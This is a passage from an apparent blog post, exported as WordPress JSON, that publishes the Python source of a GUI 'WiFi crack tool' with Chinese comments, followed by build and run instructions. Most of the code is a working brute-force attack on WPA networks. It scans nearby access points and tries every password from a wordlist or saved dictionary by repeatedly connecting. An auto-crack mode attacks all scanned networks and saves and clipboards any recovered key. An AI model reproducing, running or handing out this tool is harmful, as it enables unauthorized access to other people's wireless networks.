            self.win.showerror(title='\u9519\u8bef\u8b66\u544a',message='\u505c\u6b62\u8fc7\u7a0b\u4e2d\u53d1\u751f\u672a\u77e5\u9519\u8bef %s' %(r))
            self.show_msg('[\u9519\u8bef]\u505c\u6b62\u8fc7\u7a0b\u4e2d\u53d1\u751f\u672a\u77e5\u9519\u8bef %s\\n\\n' %(r),\"red\")
            self.reset_controls_state()

    # \u66b4\u529b\u7834\u89e3wifi\u5bc6\u7801\u7684\u7c7b
    class Crack:
        '''<\/em>\u7528\u4e8e\u66b4\u529b\u7834\u89e3<\/em>wifi<\/em>\u7684\u7c7b<\/em>'''
<\/em>        <\/em>def __init__(self,tool:'WifiCrackTool'):
            self.tool:WifiCrackTool = tool
            self.win = tool.win
            self.ui = tool.ui
            self.wifi = PyWiFi()
            self.wnics = self.wifi.interfaces()
            self.iface:Interface
            self.__get_wnic()
            self.ssids = []
            self.profile_dict = {}
            '''wifi\u4fe1\u606f\u5b57\u5178'''
            self.convert_success = False
            self.is_auto = False
        
        def __get_wnic(self):
            '''<\/em>\u83b7\u53d6\u65e0\u7ebf\u7f51\u5361<\/em>'''
<\/em>            <\/em>try:
                if self.wnics.__len__() > 0:
                    self.tool.show_msg(f'\u5df2\u641c\u7d22\u5230\u65e0\u7ebf\u7f51\u5361\uff08\u6570\u91cf:{self.wnics.__len__()}\uff09\\n')
                    for i,wnic in enumerate(self.wnics):
                        self.ui.cbo_wnic.addItem(wnic.name(),i)
                    self.ui.cbo_wnic.setEnabled(True)
                    self.ui.btn_refresh_wifi.setEnabled(True)
                else:
                    self.win.showwarning(title='\u8b66\u544a',message='\u65e0\u6cd5\u83b7\u53d6\u5230\u65e0\u7ebf\u7f51\u5361\uff01\\n\u8bf7\u786e\u4fdd\u4f60\u7684\u7535\u8111\u62e5\u6709\u65e0\u7ebf\u7f51\u5361\u518d\u7ee7\u7eed\u4f7f\u7528\u3002')
                    self.tool.show_msg('\u65e0\u6cd5\u83b7\u53d6\u5230\u65e0\u7ebf\u7f51\u5361\uff01\\n\u8bf7\u786e\u4fdd\u4f60\u7684\u7535\u8111\u62e5\u6709\u65e0\u7ebf\u7f51\u5361\u624d\u53ef\u7ee7\u7eed\u4f7f\u7528\u3002\\n\\n')
                
            except Exception as r:
                self.win.showerror(title='\u9519\u8bef\u8b66\u544a',message=f'\u83b7\u53d6\u65e0\u7ebf\u7f51\u5361\u65f6\u53d1\u751f\u672a\u77e5\u9519\u8bef {r}')
                self.tool.show_msg(f\"[\u9519\u8bef]\u83b7\u53d6\u65e0\u7ebf\u7f51\u5361\u65f6\u53d1\u751f\u672a\u77e5\u9519\u8bef {r}\\n\\n\",\"red\")
                self.tool.reset_controls_state()
                
        def search_wifi(self):
            \"\"\"<\/em>\u626b\u63cf\u9644\u8fd1<\/em>wifi => wifi<\/em>\u540d\u79f0\u6570\u7ec4<\/em>\"\"\"
<\/em>            <\/em>try:
                self.iface = self.wnics[self.ui.cbo_wnic.currentData()]
                name = self.iface.name()#\u7f51\u5361\u540d\u79f0
                self.iface.scan()#\u626b\u63cfAP
                self.win.show_msg.send(f\"\u6b63\u5728\u4f7f\u7528\u7f51\u5361[{name}]\u626b\u63cfWiFi...\\n\",\"black\")
                time.sleep(self.tool.config_settings_data['scan_time']) # \u7531\u4e8e\u4e0d\u540c\u7f51\u5361\u7684\u626b\u63cf\u65f6\u957f\u4e0d\u540c\uff0c\u5efa\u8bae\u8c03\u6574\u5408\u9002\u7684\u5ef6\u65f6\u65f6\u95f4
                ap_list = self.iface.scan_results()#\u626b\u63cf\u7ed3\u679c\u5217\u8868
                
                # \u53bb\u9664\u91cd\u590dAP\u9879
                ap_dic_tmp = {}
                for b in ap_list:
                    if b.ssid.replace(' ', '') != '':
                        ap_dic_tmp[b.ssid] = b
                
                # \u5c06\u5b57\u5178\u8f6c\u6362\u4e3a\u5217\u8868\uff0c\u5e76\u53bb\u9664\u5217\u8868\u4e2d\u7684\u7a7a\u5b57\u7b26\u9879
                ap_list = list(ap_dic_tmp.values())
                
                self.win.show_msg.send(\"\u626b\u63cf\u5b8c\u6210\uff01\\n\",\"black\")
                self.ssids:list[str] = []
                self.profile_dict:dict[str,Profile] = {}
                for i,data in enumerate(ap_list):#\u8f93\u51fa\u626b\u63cf\u5230\u7684WiFi\u540d\u79f0
                    ssid = data.ssid
                    self.ssids.insert(i,ssid)
                    profile = Profile()
                    profile.ssid = data.ssid # * wifi\u540d\u79f0
                    profile.auth = data.auth # * \u7f51\u5361\u7684\u5f00\u653e
                    profile.akm = data.akm # * wifi\u52a0\u5bc6\u7b97\u6cd5\uff0c\u4e00\u822c\u662f WPA2PSK
                    profile.cipher = data.cipher # * \u52a0\u5bc6\u5355\u5143
                    self.profile_dict[data.ssid] = profile
                self.win.reset_controls_state.send()
                self.win.add_wifi_items.send(self.ssids)
                if len(self.ssids) > 0:
                    self.win.set_wifi_current_index.send(0)
            except Exception as r:
                if r.args[0] == 'NULL pointer access' and self.iface.status() in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]:
                    self.win.show_warning.send('\u8b66\u544a',f'\u4f60\u5f53\u524d\u8bbe\u5907\u7684WLAN\u672a\u6253\u5f00\uff01\u8bf7\u6253\u5f00WLAN\u540e\u518d\u7ee7\u7eed\u4f7f\u7528\u3002')
                    self.win.show_msg.send(f\"[\u8b66\u544a]\u4f60\u5f53\u524d\u8bbe\u5907\u7684WLAN\u672a\u6253\u5f00\uff01\u8bf7\u6253\u5f00WLAN\u540e\u518d\u7ee7\u7eed\u4f7f\u7528\u3002\\n\\n\",\"orange\")
                else:
                    self.win.show_error.send('\u9519\u8bef\u8b66\u544a',f'\u626b\u63cfwifi\u65f6\u53d1\u751f\u672a\u77e5\u9519\u8bef {r}')
                    self.win.show_msg.send(f\"[\u9519\u8bef]\u626b\u63cfwifi\u65f6\u53d1\u751f\u672a\u77e5\u9519\u8bef {r}\\n\\n\",\"red\")
                self.win.reset_controls_state.send()

        def auto_crack(self):
            '''
<\/em>            <\/em>\u81ea\u52a8\u7834\u89e3\u6240\u6709<\/em>WiFi
<\/em>            '''
<\/em>            <\/em>try:
                self.is_auto = True
                self.win.show_msg.send(f\"\u5f00\u59cb\u81ea\u52a8\u7834\u89e3\u5df2\u626b\u63cf\u5230\u7684\u6240\u6709WiFi\\n\",\"blue\")
                wifi_info = \"WiFi\u5217\u8868\uff1a\\n\"
                for i,ssid in enumerate(self.ssids,1):
                    wifi_info = wifi_info+f\"{('&nbsp;'*40)}({i}){('&nbsp;'*10)}{ssid}\\n\"
                self.win.show_msg.send(wifi_info,\"blue\")
                
                pwds = {}
                colors = {}
                for ssid in self.ssids:
                    pwd = self.crack(ssid)
                    if isinstance(pwd,str):
                        pwds[ssid] = pwd
                        colors[ssid] = \"green\"
                    else:
                        pwds[ssid] = \"\u7834\u89e3\u5931\u8d25\"
                        colors[ssid] = \"red\"
                
                self.win.show_msg.send(f\"\u81ea\u52a8\u7834\u89e3\u5df2\u5b8c\u6210\uff01\\n\",\"blue\")
                crack_result_info = \"\u7ed3\u679c\u5982\u4e0b\uff1a\\n\"
                for i,ssid in enumerate(self.ssids,1):
                    crack_result_info = crack_result_info+f\"<span style='color:{colors[ssid]}'>{('&nbsp;'*40)}({i}){('&nbsp;'*10)}{ssid}{('&nbsp;'*10)}{pwds[ssid]}<\/span>\\n\"
                
                self.win.show_msg.send(crack_result_info,\"blue\")
                self.win.show_info.send('\u81ea\u52a8\u7834\u89e3',\"\u81ea\u52a8\u7834\u89e3\u5df2\u5b8c\u6210\uff01\u7834\u89e3\u7ed3\u679c\u5df2\u8bb0\u5f55\u5230\u65e5\u5fd7\u4e2d\")
                
                self.is_auto = False
                self.win.reset_controls_state.send()
            except Exception as r:
                self.win.show_error.send('\u9519\u8bef\u8b66\u544a','\u81ea\u52a8\u7834\u89e3\u8fc7\u7a0b\u4e2d\u53d1\u751f\u672a\u77e5\u9519\u8bef %s' %(r))
                self.win.show_msg.send(f\"[\u9519\u8bef]\u81ea\u52a8\u7834\u89e3\u8fc7\u7a0b\u4e2d\u53d1\u751f\u672a\u77e5\u9519\u8bef {r}\\n\\n\",\"red\")
                self.is_auto = False
                self.win.reset_controls_state.send()
                return False
        
        def crack(self,ssid:str):
            '''
<\/em>            <\/em>\u7834\u89e3<\/em>wifi
<\/em>            :ssid wifi<\/em>\u540d\u79f0<\/em>
<\/em>            '''
<\/em>            <\/em>try:
                self.iface.disconnect()  # \u65ad\u5f00\u6240\u6709\u8fde\u63a5
                self.win.show_msg.send(\"\u6b63\u5728\u65ad\u5f00\u73b0\u6709\u8fde\u63a5...\\n\",\"black\")
                time.sleep(1)
                if self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]:  # \u6d4b\u8bd5\u662f\u5426\u5df2\u7ecf\u65ad\u5f00\u7f51\u5361\u8fde\u63a5
                    self.win.show_msg.send(\"\u73b0\u6709\u8fde\u63a5\u65ad\u5f00\u6210\u529f\uff01\\n\\n\",\"black\")
                else:
                    self.win.show_msg.send(\"[\u9519\u8bef]\u73b0\u6709\u8fde\u63a5\u65ad\u5f00\u5931\u8d25\uff01\\n\\n\",\"red\")
                    return False
                self.win.show_msg.send(f\"\u6b63\u5728\u51c6\u5907\u7834\u89e3WiFi[{ssid}]...\\n\\n\",\"black\")

                if len(self.tool.pwd_dict_data) > 0:
                    pwd_dict_list = [ssids for ssids in self.tool.pwd_dict_data if ssids['ssid'] == ssid]
                    if len(pwd_dict_list) > 0:
                        self.win.show_msg.send(f\"\u53d1\u73b0\u5bc6\u7801\u5b57\u5178\u4e2d\u5b58\u5728\u76f8\u540cSSID\uff1a{ssid}\uff0c\u5f00\u59cb\u5c1d\u8bd5\u7834\u89e3...\\n\\n\",\"black\")
                        for i,pwd_dict in enumerate(pwd_dict_list,1):
                            # * \u6682\u505c\u7ebf\u7a0b
                            with self.tool.crack_pause_condition:
                                if self.tool.paused:
                                    self.win.show_msg.send(\"\u7834\u89e3\u5df2\u6682\u505c.\\n\",\"orange\")
                                    self.tool.crack_pause_condition.wait()
                            # * \u505c\u6b62\u7ebf\u7a0b
                            if self.tool.run==False:
                                self.win.show_msg.send(\"\u7834\u89e3\u5df2\u7ec8\u6b62.\\n\",\"red\")
                                self.win.reset_controls_state.send()
                                return False
                            pwd = pwd_dict['pwd']
                            result = self.connect(ssid,pwd,'json',i)
                            if result and not self.is_auto:
                                self.win.show_info.send('\u7834\u89e3\u6210\u529f',\"\u8fde\u63a5\u6210\u529f\uff0c\u5bc6\u7801\uff1a%s\\n(\u5df2\u590d\u5236\u5230\u526a\u5207\u677f)\"%(pwd))
                                self.win.reset_controls_state.send()
                                return True
                            elif result:
                                return pwd
                        self.win.show_msg.send(f\"\u5df2\u5c1d\u8bd5\u5b8c\u5bc6\u7801\u5b57\u5178\u4e2d[{ssid}]\u7684\u6240\u6709\u5bc6\u7801\uff0c\u672a\u6210\u529f\u7834\u89e3\\n\\n\",\"red\")
                self.win.show_msg.send(f\"\u5f00\u59cb\u5c1d\u8bd5\u4f7f\u7528\u5bc6\u7801\u672c\u7834\u89e3WiFi[{ssid}]...\\n\\n\",\"black\")
                with open(self.tool.config_settings_data['pwd_txt_path'],'r', encoding='utf-8', errors='ignore') as lines:
                        for i,line in enumerate(lines,1):
                            # * \u6682\u505c\u7ebf\u7a0b
                            with self.tool.crack_pause_condition:
                                if self.tool.paused:
                                    self.win.show_msg.send(\"\u7834\u89e3\u5df2\u6682\u505c.\\n\",\"orange\")
                                    self.tool.crack_pause_condition.wait()
                            # * \u505c\u6b62\u7ebf\u7a0b
                            if self.tool.run==False:
                                self.win.show_msg.send(\"\u7834\u89e3\u5df2\u7ec8\u6b62.\\n\",\"red\")
                                self.win.reset_controls_state.send()
                                return False
                            pwd = line.strip()
                            result = self.connect(ssid,pwd,'txt',i)
                            if result and not self.is_auto:
                                self.win.show_info.send('\u7834\u89e3\u6210\u529f',\"\u8fde\u63a5\u6210\u529f\uff0c\u5bc6\u7801\uff1a%s\\n(\u5df2\u590d\u5236\u5230\u526a\u5207\u677f)\"%(pwd))
                                self.win.reset_controls_state.send()
                                return True
                            elif result:
                                return pwd
                        if not self.is_auto:
                            self.win.show_info.send('\u7834\u89e3\u5931\u8d25',\"\u7834\u89e3\u5931\u8d25\uff0c\u5df2\u5c1d\u8bd5\u5b8c\u5bc6\u7801\u672c\u4e2d\u6240\u6709\u53ef\u80fd\u7684\u5bc6\u7801\")
                            self.win.reset_controls_state.send()
                return False
            except Exception as r:
                self.win.show_error.send('\u9519\u8bef\u8b66\u544a','\u7834\u89e3\u8fc7\u7a0b\u4e2d\u53d1\u751f\u672a\u77e5\u9519\u8bef %s' %(r))
                self.win.show_msg.send(f\"[\u9519\u8bef]\u7834\u89e3\u8fc7\u7a0b\u4e2d\u53d1\u751f\u672a\u77e5\u9519\u8bef {r}\\n\\n\",\"red\")
                self.win.reset_controls_state.send()
                return False
        
        def connect(self,ssid,pwd,filetype,count):
            '''
<\/em>            <\/em>\u8fde\u63a5<\/em>wifi
<\/em>            :ssid wifi<\/em>\u540d\u79f0<\/em>
<\/em>            :pwd wifi<\/em>\u5bc6\u7801<\/em>
<\/em>            :filetype <\/em>\u5bc6\u7801\u672c<\/em> txt \/ <\/em>\u5bc6\u7801\u5b57\u5178<\/em> json
<\/em>            :count <\/em>\u5df2\u5c1d\u8bd5\u8fde\u63a5\u7684\u6b21\u6570<\/em>
<\/em>            '''
<\/em>            <\/em>try:
                self.iface.disconnect()  # * \u65ad\u5f00\u6240\u6709\u8fde\u63a5
                # * \u5224\u65ad\u5b89\u5168\u52a0\u5bc6\u7c7b\u578b
                akm = self.ui.cbo_security_type.currentText()
                akm_i = self.ui.cbo_security_type.currentIndex()
                akm_v = 4
                if platform.system() == \"Windows\":
                    from pywifi import _wifiutil_win
                    akm_dict = _wifiutil_win.akm_str_to_value_dict
                elif platform.system() == \"Linux\":
                    from pywifi import _wifiutil_linux
                    akm_dict = _wifiutil_linux.display_str_to_key
                if akm in akm_dict:
                    akm_v = akm_dict[akm]
                else:
                    akm_v = const.AKM_TYPE_NONE
                
                profile = Profile()  # * \u521b\u5efawifi\u914d\u7f6e\u5bf9\u8c61
                if akm_i == 0:
                    profile = self.profile_dict[ssid]
                else:
                    profile.ssid = ssid # * wifi\u540d\u79f0
                    profile.auth = const.AUTH_ALG_OPEN  # * \u7f51\u5361\u7684\u5f00\u653e
                    profile.akm = akm_v  # * wifi\u52a0\u5bc6\u7b97\u6cd5\uff0c\u4e00\u822c\u662f WPA2PSK
                    profile.cipher = const.CIPHER_TYPE_CCMP # * \u52a0\u5bc6\u5355\u5143
                    
                profile.key = pwd   # * type: ignore #WiFi\u5bc6\u7801
                self.iface.remove_network_profile(profile)  # * \u5220\u9664wifi\u6587\u4ef6
                tem_profile = self.iface.add_network_profile(profile)   # * \u6dfb\u52a0\u65b0\u7684WiFi\u6587\u4ef6
                self.win.show_msg.send(f\"\u6b63\u5728\u8fdb\u884c\u7b2c{count}\u6b21\u5c1d\u8bd5...\\n\",\"black\")
                self.iface.connect(tem_profile) # * \u8fde\u63a5
                time.sleep(self.tool.config_settings_data['connect_time'])   # * \u8fde\u63a5\u9700\u8981\u65f6\u95f4
                if self.iface.status() == const.IFACE_CONNECTED:    # * \u5224\u65ad\u662f\u5426\u8fde\u63a5\u6210\u529f
                    self.win.show_msg.send(f\"\u8fde\u63a5\u6210\u529f\uff0c\u5bc6\u7801\uff1a{pwd}\\n\\n\",\"green\")
                    pyperclip.copy(pwd); # * \u5c06\u5bc6\u7801\u590d\u5236\u5230\u526a\u5207\u677f
                    if filetype != 'json':
                        self.tool.pwd_dict_data.append({'ssid':ssid,'pwd':pwd})
                        # * \u76f4\u63a5\u5c06\u6570\u636e\u5199\u5165\u6587\u4ef6
                        with open(self.tool.pwd_dict_path, 'w',encoding='utf-8') as json_file:
                            json.dump(self.tool.pwd_dict_data, json_file, indent=4)
                    return True
                else:
                    self.win.show_msg.send(f\"\u8fde\u63a5\u5931\u8d25\uff0c\u5bc6\u7801\u662f{pwd}\\n\\n\",\"red\")
                    self.iface.remove_network_profile(profile)  # * \u5220\u9664wifi\u6587\u4ef6
                    return False

            except Exception as r:
                self.win.show_error.send('\u9519\u8bef\u8b66\u544a','\u8fde\u63a5wifi\u8fc7\u7a0b\u4e2d\u53d1\u751f\u672a\u77e5\u9519\u8bef %s' %(r))
                self.win.show_msg.send(f\"[\u9519\u8bef]\u8fde\u63a5wifi\u8fc7\u7a0b\u4e2d\u53d1\u751f\u672a\u77e5\u9519\u8bef {r}\\n\\n\",\"red\")
                self.win.reset_controls_state.send()
                return False

if __name__ == \"__main__\":
    try:
        app = QApplication(sys.argv)
        
        system = platform.system()
        if system == 'Windows':
            print('\u5f53\u524d\u7cfb\u7edf\u662f Windows')
            import win32api,win32security,win32event # type: ignore
            #------------------- \u4e92\u65a5\u9501 -----------------------#
            MUTEX_NAME = \"Global\/wifi_crack_tool_mutex\"
            def acquire_mutex():
                sa = win32security.SECURITY_ATTRIBUTES()
                sa.bInheritHandle = False  # \u786e\u4fdd\u4e92\u65a5\u91cf\u53e5\u67c4\u4e0d\u4f1a\u88ab\u7ee7\u627f
                mutex = win32event.CreateMutex(sa, False, MUTEX_NAME)
                last_error = win32api.GetLastError()
                if last_error == 183:
                    return None
                elif last_error != 0:
                    raise ctypes.WinError(last_error)
                return mutex
            #==================================================#
            
            __mutex = None
            if PyWiFi().interfaces().__len__() <= 1:
                __mutex = acquire_mutex()
            
            window = MainWindow(__mutex)
            
        elif system == 'Linux':
            print('\u5f53\u524d\u7cfb\u7edf\u662f Linux')
            import fcntl
            #------------------- \u4e92\u65a5\u9501 -----------------------#
            LOCKFILE = \"\/tmp\/wifi_crack_tool.lock\"
            def acquire_lock():
                lock = os.open(LOCKFILE, os.O_RDWR | os.O_CREAT)
                try:
                    fcntl.flock(lock, fcntl.LOCK_EX | fcntl.LOCK_NB) # type: ignore
                    return lock
                except IOError:
                    return None

            def release_lock(lock):
                fcntl.flock(lock, fcntl.LOCK_UN) # type: ignore
                os.close(lock)
                os.remove(LOCKFILE)
            #==================================================#
                        
            __lock = None
            if PyWiFi().interfaces().__len__() <= 1:
                __lock = acquire_lock()
                
            window = MainWindow(__lock)
            
        elif system == 'Darwin':  # macOS
            print('\u5f53\u524d\u7cfb\u7edf\u662f macOS, \u6682\u4e0d\u652f\u6301')
            sys.exit()
        else:
            print(f'\u5f53\u524d\u7cfb\u7edf\u4e3a {system}, \u6682\u4e0d\u652f\u6301')
            sys.exit()
            
        window.show()
        app.exec()
        
        if window.tool.config_settings_data[\"pwd_txt_path\"] == \"\":
            window.tool.config_settings_data[\"pwd_txt_path\"] = \"passwords.txt\"
        with open(window.tool.config_file_path, 'w',encoding='utf-8') as config_file:
            json.dump(window.tool.config_settings_data, config_file, indent=4)
            
        sys.exit()
    finally:
        if '__mutex' in vars():
            if __mutex is not None:
                win32api.CloseHandle(__mutex)
        elif '__lock' in vars():
            if __lock is not None:
                release_lock(__lock)<\/pre>\n\n\n\n
\u5982\u4f55\u8fd0\u884c\u4ee5\u53ca\u6253\u5305<\/h2>\n\n\n\n
Windows–Python \u2265 3.11.x\uff08\u63a8\u8350\uff1a3.11.9\uff09<\/h3>\n\n\n\n
1. [\u4e0b\u8f7d Python 3.11.9](https:\/\/www.python.org\/downloads\/release\/python-3119\/<\/em>) \u5e76\u5b89\u88c5

2. \u5b89\u88c5\u6240\u9700\u6a21\u5757

   ```cmd
   pip install -r requirements.txt
   ```

3. \u7f16\u8bd1 wifi_crack_tool_gui.ui

   ```cmd
   pyside6-uic wifi_crack_tool_gui.ui -o wifi_crack_tool_gui.py
   ```

4. \u7f16\u8bd1\u8fd0\u884c wifi_crack_tool.py

   ```cmd
   python -u wifi_crack_tool.py
   ```

5. \u6253\u5305 wifi_crack_tool.py

   ```cmd
   pyinstaller -F -w wifi_crack_tool.py
   ```<\/pre>\n","protected":false},"excerpt":{"rendered":"
\u6e90\u7801\uff1a class Ui_MainWindow(object): def setupUi(self, Main […]<\/p>\n","protected":false},"author":1,"featured_media":133,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[3],"class_list":["post-132","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-text","tag-python"],"_links":{"self":[{"href":"http:\/\/43.139.99.192\/index.php\/wp-json\/wp\/v2\/posts\/132","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/43.139.99.192\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/43.139.99.192\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/43.139.99.192\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/43.139.99.192\/index.php\/wp-json\/wp\/v2\/comments?post=132"}],"version-history":[{"count":2,"href":"http:\/\/43.139.99.192\/index.php\/wp-json\/wp\/v2\/posts\/132\/revisions"}],"predecessor-version":[{"id":374,"href":"http:\/\/43.139.99.192\/index.php\/wp-json\/wp\/v2\/posts\/132\/revisions\/374"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/43.139.99.192\/index.php\/wp-json\/wp\/v2\/media\/133"}],"wp:attachment":[{"href":"http:\/\/43.139.99.192\/index.php\/wp-json\/wp\/v2\/media?parent=132"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/43.139.99.192\/index.php\/wp-json\/wp\/v2\/categories?post=132"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/43.139.99.192\/index.php\/wp-json\/wp\/v2\/tags?post=132"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}